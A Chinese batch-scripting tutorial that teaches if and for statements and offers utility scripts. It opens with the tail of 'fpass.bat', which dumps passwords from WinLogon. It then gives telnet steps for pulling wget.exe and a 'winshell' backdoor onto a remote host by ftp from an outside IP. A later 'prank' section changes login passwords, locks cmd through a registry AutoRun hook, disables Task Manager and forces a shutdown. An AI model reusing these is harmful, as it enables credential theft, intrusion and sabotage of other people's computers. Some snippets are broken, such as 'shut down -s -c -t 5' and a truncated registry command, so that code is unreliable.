@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat%1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat%COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.batend [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

___________________________________________________________

语句结构

类似于C语言，批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。

if语句

if语句实现条件判断，包括字符串比较、存在判断、定义判断等。通过条件判断，if语句即可以实现选择功能。

1、字符串比较

if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为：

IF [not] string1 compare-op string2 command1 [else command2]

其中，比较操作符compare-op有以下几类：

== - 等于

EQU - 等于

NEQ - 不等于

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

选择开关/i则不区分字符串大小写；选择not项，则对判断结果进行逻辑非。

字符串比较示例：

@echo off

set str1=abcd1233

set str2=ABCD1234

if %str1%==%str2% (echo 字符串相同！) else (echo 字符串不相同！)

if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2)

echo.

set /p choice=是否显示当前时间？(y/n)

if /i not %choice% EQU n echo 当前时间是：%date% %time%

pause>nul

对于最后一个if判断，当我们输入n或N时的效果是一样的，都不会显示时间。如果我们取消开关/i，则输入N时，依旧会显示时间。

另外请注意一下几个细节：1-echo str1^<str2和echo str1^>=str2；2-echo.。

2、存在判断

存在判断的功能是判断文件或文件夹是否存在。其命令格式为：IF [NOT] EXIST filename command1 [else command2]

@echo off

if exist %0 echo 文件%0是存在的！

if not exist %~df0 (

echo 文件夹%~df0不存在！

) else echo 文件夹%~df0存在！

pause>nul

这里注意几个地方：

1-存在判断既可以判断文件也可以判断文件夹；

2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型)；

3-%~df0是对%0的修正，只保留了其驱动器盘符和路径，详情请参考for /?，属高级批处理范畴；

4-注意if语句的多行书写，多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行，即command可以是命令集。

3、定义判断

定义判断的功能是判断变量是否存在，即是否已被定义。其命令格式为：

IF [not] DEFINED variable command1 [else command2]

存在判断举例：

@echo off

set var=111

if defined var (echo var=%var%) else echo var尚未定义！

set var=

if defined var (echo var=%var%) else echo var尚未定义！

pause>nul

对比可知，"set var="可以取消变量，收回变量所占据的内存空间。

for语句

for语句可以实现类似于C语言里面的循环结构，当然for语句的功能要更强大一点，通过不同的开关可以实现更多的功能。for语句有多个开关，不同开关将会实现不同的功能。

1、无开关

无开关的for语句能够对设定的范围内进行循环，是最基本的for循环语句。其命令格式为：

FOR %%variable IN (set) DO command

其中，%%variable是批处理程序里面的书写格式，在DOS中书写为%variable，即只有一个百分号(%)；set就是需要我们设定的循环范围，类似于C语言里面的循环变量；do后面的command就是循环所执行的命令，即循环体。

无开关for语句举例：

@echo off

for %%i in (a,"b c",d) do echo %%i

pause>nul

2、开关/L

含开关/L的for语句，可以根据set里面的设置进行循环，从而实现对循环次数的直接控制。其命令格式为：

FOR /L %%variable IN (start,step,end) DO command

其中，start为开始计数的初始值，step为每次递增的值，end为结束值。当end小于start时，step需要设置为负数。

含开关/L的for语句举例(创建5个文件夹)：

@echo off

for /l %%i in (1,2,10) do md %%i

pause

上例将新建5个文件夹，文件夹名称依次为1、3、5、7、9。可以发现，%%i的结束值并非end的值10，而是不大于end的一个数。

3、开关/F

含开关/F的for语句具有最强大的功能，它能够对字符串进行操作，也能够对命令的返回值进行操作，还可以访问硬盘上的ASCII码文件，比如txt文档等。其命令格式为：

FOR /F ["options"] %%variable IN (set) DO command

其中，set为("string"、'command'、file-set)中的一个；options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下，使用较多的是skip、tokens、delims三个选项。

含开关/F的for语句举例：

@echo off

echo **No Options:

for /f %%a in ("1,2,10") do echo a=%%a

echo **Options tokens ^& delims:

for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c

pause

@echo off

echo 本文件夹里面的文件有：

for /f "skip=5 tokens=3* " %%a in ('dir') do (

if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b

)

pause>nul

@echo off

echo 本文件夹里面的文件有：

dir>c:\file.txt

for /f "skip=5 tokens=3* " %%a in (c:\file.txt) do (

if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b

)

del c:\file.txt

pause

符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。本例中也可以改为4，不过文件名中有空格的文件，只能显示空格以前部分。

同时我们也看到了，for语句的do后面的command也是可以分行的，只需要保证command的左括号和do在同一行就可以了。

4、开关/D或/R

含开关/D或/R的for语句是与目录或文件有关的命令，一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹，故而列举此例。

含开关/R的for语句举例(文件夹遍历)：

@echo off

setlocal enabledelayedexpansion

FOR /R d: %%i IN (.) DO (

set dd=%%i

set "dd=!dd:~0,-1!"

echo !dd!

)

pause

exit

上例即可以罗列出D盘下的所有文件夹，其速度要比命令"tree d:"慢多了，不过其返回结果的实用性则远远超过了tree命令。

一般情况下我们不推荐通过遍历文件夹来查找文件，特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径，以保证查找效率。

上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，%dd%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关，然后用!dd!来获取dd的值。

for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！

代码示例

好了，先来几个实用的。

清理垃圾

命令代码如下：

@echo off

echo 正在清除系统垃圾文件，请稍等......

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*._mp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.gid

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo 清除系统垃圾文件完成！

pause

网络设置

@echo off

::判断本地连接赋值a

for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txt

for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d

echo 请根据实际情况更改下面三行

set slection1=

set/p slection1=请输入IP地址：

netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0

set slection2=

set/p slection2=请输入网关地址：

netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0

set slection3=

set/p slection3=请输入主dns地址

netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY

set slection4=

set/p slection4=请输入备份dns地址

netsh interface ip add dns name="%a%" addr=%slection4%

netsh interface ip set wins name="%a%" source=static addr=none

del DNS.txt

exit 改完IP后可用这个完成本机ARP的绑定：

@echo off

if exist ipconfig.txt del ipconfig.txt

ipconfig /all >ipconfig.txt

if exist phyaddr.txt del phyaddr.txt

find "Physical Address" ipconfig.txt >phyaddr.txt

for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt

find "IP Address" ipconfig.txt >IPAddr.txt

for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%

del ipaddr.txt

del ipconfig.txt

del phyaddr.txt

exit

同时修改IP和MAC地址的小代码及制作步骤，用于带着本本到处跑又要改IP的场合！

1：生成 IP配置文件。

修改你的IP地址配置为某一个配置，例如配置1。修改好：IP，MASK，DNS，GATE等（主要是IP相关的，不需要修改MAC地址）。

然后输入：

netsh -c interface dump> c:\net1.txt

这里net1.txt就是你生成的IP配置文件了！可以改为其它的文件名，比如：实验室，寝室！

依次生成所有的网络配置的配置文件，我假设一共生成两个网络配置分别为net1.txt和net2.txt

2：下载软件SMAC为修改MAC地址的小软件仅8K，我已经上传了。

3：在C盘根目录下建立一个目录，把刚才下载的smac.exe，生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是：C:\cmd

4：建立一个批处理文件，假设为：ToNet1.bat（可以使用记事本编辑，不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat，否则就是ToNet1.bat.txt）

输入如下代码：

smac -modifymac 0 0050BA44D27A

netsh -f net1.txt

net1.txt就是你要设置的某一个网络的配置，0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略，这个表示网卡（你不会有两个或者多个网卡吧？如果你有，请注意自己先试一下看是哪一个网卡了：在这个smac程序的readme中有list功能，你可以判断一下）。

同样的方法，建立ToNet2.bat，当然修改网络配置文件为net2.txt和mac地址的属性了。

把这两个bat文件也放到c:\cmd目录中。

5：然后你可以建立这两个bat文件的快捷方式，双击一下自动更换了！

不过请注意，修改MAC地址可能需要重新启动一下网卡比较好（禁用再启用）

关机

shutdown -s -t 0

运行这个后，立刻关机

想要重启，就把-s改为-r

锁定注册表

reg add

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem" /v DisableRegistryTools /t reg_dword /d 00000001 /f

解锁注册表

reg add

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem" /v DisableRegistryTools /t reg_dword /d 00000000 /f

start regedit

显示隐藏文件

reg add

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

Hidden /t reg_dword /d 1 /f

reg add

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

HideFileExt /t reg_dword /d 0 /f

reg add

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

ShowSuperHidden /t reg_dword /d 1 /f

锁定任务管理器

REG ADD

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy

stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f

解锁任务管理器

REG ADD

stem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f

解释：这五个都是通过改注册表做到的。

接下来搞几个用密码的。

带密码的批处理

@echo off

mode con cols=30 lines=4

set b=5

:pwd

title Password

set /a a=%a%+1

set /a b=%b%-1

set /p pwd=Enter Password:

if /I "%pwd%"=="Password" goto main

if /I "%a%"=="5" goto err

echo Error %a% times! You have %b% times left now.

goto pwd

:err

color 40

mode con cols=30 lines=2

title Error!

cls

echo.

echo Error 5 times, it will exit!

ping 127.1 -n 6 >nul

exit

:main

mode con cols=30 lines=3

echo Password right!

pause

cls

goto program

:program

mode con cols=64 lines=16

:: Your program here. ::

解释：把第九行的Password改成密码。

锁定命令提示符

@echo off

echo.

echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件，请稍侯......

echo.

echo. >lockcmd.bat

echo @echo off >lockcmd.bat

echo echo. >>lockcmd.bat

echo setlocal >>lockcmd.bat

echo set /a times=3 >>lockcmd.bat

echo :checkpassword >>lockcmd.bat

echo set /p password=请输入密码: >>lockcmd.bat

echo set /a times=times-1 >>lockcmd.bat

echo if "%%password%%"=="密码" goto continue >>lockcmd.bat

echo if "%%times%%"=="0" goto exit >>lockcmd.bat

echo echo 输入的密码不正确，请重新输入，还有%%times%%次机会！

>>lockcmd.bat

echo goto checkpassword >>lockcmd.bat

echo :exit >>lockcmd.bat

echo echo. >>lockcmd.bat

echo echo 你无权进入命令行状态！ >>lockcmd.bat

echo exit >>lockcmd.bat

echo :continue >>lockcmd.bat

echo cls >>lockcmd.bat

echo title 欢迎你回到命令行窗口工作！！！ >>lockcmd.bat

echo cd /d c:\ >>lockcmd.bat

echo endlocal >>lockcmd.bat

copy lockcmd.bat %windir%

echo 正在设置注册表，从而让命令行窗口一打开便进入锁定状态......

echo Windows Registry Editor Version 5.00 >temp.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]

>>temp.reg

echo "AutoRun"="lockcmd.bat" >>temp.reg

echo 成功锁住命令行，只有输入正确的密码才可使用！

regedit /s temp.reg

del /q /f temp.reg >nul

del /q /f lockcmd.bat >nul

pause>nul

解释：这两个把“密码”改成你要输的密码就行了。

嗯，接下来是几个整人的。

2H1Q声明：使用这些代码造成的后果（比如别人找你麻烦）自负。

首先是个吓唬人的。

--------为维护网络安全以下代码已删除-------

修改电脑登录密码

注意，这个要慎用！！！！！

@echo off

set /p t=请输入您要修改的密码：

net user 计算机名 %t%

echo 修改成功！

在计算机名处写电脑登录时的账号

比如：net user administrator %t%

强制关机：

@Rem 这是使用程序的强制关机，不会征求同意（5秒后关机）

（rem是一个注释，这一行可用可不用）

@echo off

@echo 即将关机

SET daoTime=5

:dao

set /a daoTime=daoTime-1

ping -n 2 -w 500 127.1>nul

cls

echo 关机时间: %daoTime%秒

if %daoTime%==0 (exit) else (goto dao)

shut down -s -c -t 5

代码就列举到这里，大家可以自己编一些哦。

其它

批处理开发工具

网络上流传有很多,笔者只推荐两个

iBAT(2张)

1.iBAT

截至到2014.8.9这个工具仍在更新中,第一印象-简洁!

2.BatProject+DebugBatch

这其实是两个工具,不过它们的开发者是同一个人,这两个工具给我的第一印象-强悍!是用来调试错误的上上之选,不过因为它太强大了,尤其是DebugBatch采取了注入到进程当中的方法来调试,可以中途修改变量,暂停执行等,所以杀软会报毒.

第三方

DebugBatch

纯批处理不是万能的,而系统内置第三方远远满足不了我们的需要(如果你会debug就当我没说吧),因此我们需要各种第三方来使我们的批处理变得更强大,在批处理之家有一个第三方收集帖,里面收集了许多第三方,如果有朋友需要的话可以去那里淘一淘,接下来我介绍几个第三方

Tmos.exe-用鼠标操作命令行

Image.exe-显示图片到命令行

CAPI-批处理调用系统API,强大得不能再强大了